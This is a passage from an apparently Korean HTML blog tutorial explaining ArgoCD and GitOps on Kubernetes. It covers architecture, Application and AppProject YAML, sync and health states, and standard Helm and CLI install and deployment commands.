&lt;td&gt;&lt;strong&gt;Git 커밋 히스토리&lt;/strong&gt;가 그대로 감사 로그&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;멀티 클러스터&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;환경별 CI 잡 중복&lt;/td&gt;
&lt;td&gt;환경별 디렉토리·브랜치로 선언&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;핵심은 &lt;strong&gt;&quot;클러스터가 Git을 구독한다&quot;&lt;/strong&gt;는 역전입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/f5b3ae1610d0a40ab9415417d2106f2c/64756/diagram-gitops-flow.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACJ0lEQVR42iWS246bMBRF+YJOCCTcbAwxFxOuNmDA3MJ0JqP2sVL//1d6MpWWtvzgpXNsbe3k1z/ShTRHJj+i+mHn6nxfnGwt+mcxfKFkdKlEyQRgpnw2Q8LZi0c3HjWQrWSKqzVrj7s4gnK2i5XkG++ffHh6hXIK5WUKFQsqF0gvn91idu6TE0lNx+XO16/hZ1stIRVBKGjYRrRL0ikIhLu++3//4M9fSB6A2+2ABwexWlGnmbgK477k73EyINJ4hCMicCD8sKWJdOvlNj7Z9ps0+5UNVjZCXlNp5+P11r5kEMJkcnxueZWNagfAtetzmg5wiVRbUG7XqDepMG+tEUIKJxsuoQC5xmHLii1myiPCwY3nAxz54hZJp5qj/oMNT5sNZtSatDWoMGh7YaMZcO3qN5jwmM1xtsC2LnrNfMmE06R//VaugnqzEgkzv+FGCLI6k0azCMdhl+QbyLCzjRuQvxEh7e1yCuo9rHYnkTqpwTwHIIvLfdR9kANRMrn1H0ocXT7XbCyToWRjlY4slna7ovcnfnyS/dNVhykWg89nsZz5rPtcc+DBUV+yqWBTlakym3Om8nS6pyOlnVVO13a5CGWJ2RLLpVZGM+v1fCqmEwE5kl42uNmA8hHnE3ATe9QfSXvE4oGaJeiOQGxOqfS0O7NeZ/LE5Fvav2GuuVDAu4LSoGJF5fpqUrXhev3fJzebvGxy2WjF0qCdSbsz7U+0M6JB98U/zjt1q+x1yZIAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/f5b3ae1610d0a40ab9415417d2106f2c/a1b3b/diagram-gitops-flow.webp 215w,
/static/f5b3ae1610d0a40ab9415417d2106f2c/fc700/diagram-gitops-flow.webp 430w,
/static/f5b3ae1610d0a40ab9415417d2106f2c/521f7/diagram-gitops-flow.webp 860w,
/static/f5b3ae1610d0a40ab9415417d2106f2c/cbd37/diagram-gitops-flow.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/f5b3ae1610d0a40ab9415417d2106f2c/f7886/diagram-gitops-flow.png 215w,
/static/f5b3ae1610d0a40ab9415417d2106f2c/bc750/diagram-gitops-flow.png 430w,
/static/f5b3ae1610d0a40ab9415417d2106f2c/3e3fe/diagram-gitops-flow.png 860w,
/static/f5b3ae1610d0a40ab9415417d2106f2c/64756/diagram-gitops-flow.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/f5b3ae1610d0a40ab9415417d2106f2c/3e3fe/diagram-gitops-flow.png&apos; alt=&apos;전통 CD(Push) vs GitOps(Pull) 배포 흐름 비교 — CI 주도 vs 컨트롤러 주도 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;전통 CD(Push) vs GitOps(Pull) 배포 흐름 비교 — CI 주도 vs 컨트롤러 주도 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;ArgoCD란? — 한 줄 정의&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://argo-cd.readthedocs.io/&quot;&gt;ArgoCD&lt;/a&gt;는 &lt;strong&gt;쿠버네티스 전용 GitOps 컨트롤러&lt;/strong&gt;입니다. CNCF Graduated 프로젝트(졸업 단계)로, 사실상 K8S GitOps 표준입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;선언&lt;/strong&gt;: Git 레포에 K8S manifest(YAML·Helm·Kustomize) 저장&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;감지&lt;/strong&gt;: ArgoCD가 주기적으로 레포를 풀(pull)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;비교&lt;/strong&gt;: 원하는 상태(Git) vs 실제 상태(클러스터) 차이 계산&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;수렴&lt;/strong&gt;: 자동 또는 수동으로 Apply&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CLI(&lt;code class=&quot;language-text&quot;&gt;argocd&lt;/code&gt;), 웹 UI, Kubernetes CRD(&lt;code class=&quot;language-text&quot;&gt;Application&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;AppProject&lt;/code&gt;) 세 가지 인터페이스를 모두 제공합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;ArgoCD 아키텍처 — 4개 컴포넌트&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;컴포넌트&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;API Server&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;웹 UI·CLI 요청을 받는 gRPC/REST 서버, 인증·RBAC 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Repository Server&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Git 레포를 클론·캐시, manifest 렌더링 (Helm·Kustomize 포함)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Application Controller&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;실제 동기화 엔진 — 비교·Apply·상태 추적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Redis&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;레퍼런스 데이터 캐시 (성능용)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이 4개가 하나의 K8S 네임스페이스(&lt;code class=&quot;language-text&quot;&gt;argocd&lt;/code&gt;)에 Deployment로 돌고, 외부에서는 Ingress로 UI만 노출하는 게 일반적입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;핵심 개념 4가지 — Application, Project, Sync, Health&lt;/h2&gt;
&lt;h3&gt;1) Application&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&quot;무엇을 어디에 배포할지&quot;&lt;/strong&gt; 선언한 CRD. ArgoCD에서 다루는 가장 작은 단위.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; argoproj.io/v1alpha1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Application
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; my&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;app&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;prod
  &lt;span class=&quot;token key atrule&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; argocd
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;project&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; default
  &lt;span class=&quot;token key atrule&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;repoURL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//github.com/javapark/k8s&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;manifests.git
    &lt;span class=&quot;token key atrule&quot;&gt;targetRevision&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; main
    &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; apps/my&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;app/overlays/prod &lt;span class=&quot;token comment&quot;&gt;# Kustomize 오버레이&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//kubernetes.default.svc &lt;span class=&quot;token comment&quot;&gt;# 같은 클러스터&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; production
  &lt;span class=&quot;token key atrule&quot;&gt;syncPolicy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;automated&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;prune&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;selfHeal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2) AppProject&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;RBAC·정책 경계.&lt;/strong&gt; 여러 Application을 묶어서 &quot;이 프로젝트는 이 Git 레포와 이 네임스페이스만 건드릴 수 있다&quot;를 제한.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; argoproj.io/v1alpha1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; AppProject
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; platform
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;sourceRepos&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//github.com/javapark/k8s&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;manifests.git
  &lt;span class=&quot;token key atrule&quot;&gt;destinations&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//kubernetes.default.svc
      &lt;span class=&quot;token key atrule&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;production&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//kubernetes.default.svc
      &lt;span class=&quot;token key atrule&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;staging&quot;&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;clusterResourceWhitelist&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Namespace&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;팀·환경 단위로 권한 분리할 때 필수.&lt;/p&gt;
&lt;h3&gt;3) Sync&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Git의 원하는 상태를 클러스터에 실제로 적용&lt;/strong&gt;하는 동작. 수동 또는 자동.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Manual Sync&lt;/strong&gt;: 사용자가 UI/CLI에서 &lt;code class=&quot;language-text&quot;&gt;Sync&lt;/code&gt; 클릭/명령&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Auto Sync&lt;/strong&gt;: Git 변경 감지 시 자동 적용
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;prune: true&lt;/code&gt; — Git에서 지워진 리소스는 클러스터에서도 자동 삭제&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;selfHeal: true&lt;/code&gt; — 클러스터에서 수동 수정된 내용을 Git 기준으로 &lt;strong&gt;자동 되돌림&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4) Health / Sync Status&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;두 가지 상태를 별개로 추적&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상태 종류&lt;/th&gt;
&lt;th&gt;값&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Sync Status&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Synced&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;클러스터 = Git&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;OutOfSync&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;차이 있음 (아직 Sync 전)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Unknown&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;비교 불가 (초기 또는 오류)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Health Status&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Healthy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;모든 리소스 정상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Progressing&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;배포 진행 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Degraded&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;하나 이상 리소스 비정상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Missing&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;리소스 누락&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;실전 팁:&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;Synced + Degraded&lt;/code&gt; 조합이 가장 위험합니다. &quot;Git대로 적용했는데 앱이 죽어있다&quot; → 이미지 태그 오류·리소스 부족 등 &lt;strong&gt;앱 자체 문제&lt;/strong&gt;. 알림은 이 조합을 최우선으로 걸어두세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/1e3c35cc1b6d072c7a3e22ae18071b8e/64756/diagram-sync-states.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACMklEQVR42h2OB46jQAAE+cFpjW0MOJDj5GECMyQbs9q9/P/XnPekUqvVUkntfPPhLh931XStbYrnlMwpXmqxkf57RBYPTH6zBLkOSxOUNiiHsDJh2ft5H+TKeQugmxk3sxGaUvXM9LMcP5v1F5h/3vTqdWtM56IVOdCIadapEqoCiLwRYSad3RntcrbLuQvUab67anSZdbthT8yR2hMdayonKwbbjYaLjmPKEWEA0TDrHPdGXGpdPnjdWP/4HS0fsd2y4T3q1xMdXjKSw8f2eKzz8/nox7XTE5NDDZifMGd/I0cxnfr7Hqoj0D4ZfDYG3eTzKWRTyOeCaIgVwApSDakEqGshqxrix9TZx8wlds+HAzYnNh7p67D1Xj6fgm72+JwRhfmX1iJeA1q3tGpxWeNTRJ1TxLNK5o1OK9k2GrUag75p+7RWEJoOD6CSChkGdVXQMidFRoqUZAn2rsQJYi5yKQvFCrnx58Yfn2J7im0S7xNbVWNEbf4sfz+mnwxOL2g71qnIb9S74C+5B8NMFpgLWCpc9bg2tB06MNLGokKCQsC6h5UGr57LJhNlzLMbPYTIOaeSFaorNSkkq/r/GFpolAmYdiBhdcxgoVDavZY2YtWVlFeSnfEhBE6QqQSYDA0JtAk0JZmA2Vq9NvzesIWwWfIF0rFR9xz2l5SdUxYk1IvJLoBOUGi/NT6wZziGcHzlhUxnNIZgCFp7ae2tMedKhbX2c3FI2D6mbxFxY/4Won/kfIF8a7kX5AAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/1e3c35cc1b6d072c7a3e22ae18071b8e/a1b3b/diagram-sync-states.webp 215w,
/static/1e3c35cc1b6d072c7a3e22ae18071b8e/fc700/diagram-sync-states.webp 430w,
/static/1e3c35cc1b6d072c7a3e22ae18071b8e/521f7/diagram-sync-states.webp 860w,
/static/1e3c35cc1b6d072c7a3e22ae18071b8e/cbd37/diagram-sync-states.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/1e3c35cc1b6d072c7a3e22ae18071b8e/f7886/diagram-sync-states.png 215w,
/static/1e3c35cc1b6d072c7a3e22ae18071b8e/bc750/diagram-sync-states.png 430w,
/static/1e3c35cc1b6d072c7a3e22ae18071b8e/3e3fe/diagram-sync-states.png 860w,
/static/1e3c35cc1b6d072c7a3e22ae18071b8e/64756/diagram-sync-states.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/1e3c35cc1b6d072c7a3e22ae18071b8e/3e3fe/diagram-sync-states.png&apos; alt=&apos;Sync × Health 상태 매트릭스 — 4가지 조합별 시나리오와 대응 액션&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;Sync × Health 상태 매트릭스 — 4가지 조합별 시나리오와 대응 액션&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;설치 — Helm 한 줄&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 네임스페이스 + Helm 설치&lt;/span&gt;
kubectl create namespace argocd
helm repo &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; argo https://argoproj.github.io/argo-helm
helm &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; argocd argo/argo-cd &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; argocd

&lt;span class=&quot;token comment&quot;&gt;# 초기 admin 비밀번호 확인&lt;/span&gt;
kubectl &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; argocd get secret argocd-initial-admin-secret &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;jsonpath&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;{.data.password}&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; base64 &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# UI 접근 (port-forward로 임시 확인)&lt;/span&gt;
kubectl port-forward svc/argocd-server &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; argocd &lt;span class=&quot;token number&quot;&gt;8080&lt;/span&gt;:443
&lt;span class=&quot;token comment&quot;&gt;# → https://localhost:8080 접속, 계정: admin&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;CLI도 같이 설치:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# macOS&lt;/span&gt;
brew &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; argocd

&lt;span class=&quot;token comment&quot;&gt;# Linux (바이너리)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-sSL&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; /usr/local/bin/argocd https://github.com/argoproj/argo-cd/releases/latest/download/argocd-linux-amd64
&lt;span class=&quot;token function&quot;&gt;chmod&lt;/span&gt; +x /usr/local/bin/argocd

&lt;span class=&quot;token comment&quot;&gt;# 로그인&lt;/span&gt;
argocd login localhost:8080&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;운영에서는 Helm &lt;code class=&quot;language-text&quot;&gt;values.yaml&lt;/code&gt;로 Ingress·SSO·노드셀렉터 등을 제대로 설정하세요. 기본 설치는 &lt;strong&gt;데모용&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 — 첫 Application 배포까지&lt;/h2&gt;
&lt;h3&gt;1단계: Git 레포 구조 준비&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;k8s-manifests/
└── apps/
    └── my-app/
        ├── base/
        │   ├── deployment.yaml
        │   ├── service.yaml
        │   └── kustomization.yaml
        └── overlays/
            ├── staging/
            │   ├── patch.yaml
            │   └── kustomization.yaml
            └── prod/
                ├── patch.yaml
                └── kustomization.yaml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2단계: Application 생성&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;argocd app create my-app-prod &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--repo&lt;/span&gt; https://github.com/javapark/k8s-manifests.git &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--path&lt;/span&gt; apps/my-app/overlays/prod &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  --dest-server https://kubernetes.default.svc &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  --dest-namespace production &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  --sync-policy automated &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  --auto-prune &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  --self-heal&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;또는 YAML(&lt;code class=&quot;language-text&quot;&gt;Application&lt;/code&gt; CRD)로 선언하고 &lt;code class=&quot;language-text&quot;&gt;kubectl apply&lt;/code&gt; — &lt;strong&gt;Application 자체도 GitOps로 관리&lt;/strong&gt;하는 게 정석입니다 (이를 &quot;App of Apps&quot; 패턴이라 합니다).&lt;/p&gt;
&lt;h3&gt;3단계: 배포 확인&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;argocd app get my-app-prod
argocd app &lt;span class=&quot;token function&quot;&gt;sync&lt;/span&gt; my-app-prod       &lt;span class=&quot;token comment&quot;&gt;# 수동 sync (필요시)&lt;/span&gt;
argocd app logs my-app-prod       &lt;span class=&quot;token comment&quot;&gt;# 해당 앱 Pod 로그&lt;/span&gt;
argocd app rollback my-app-prod &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# 3번째 리비전으로 롤백&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
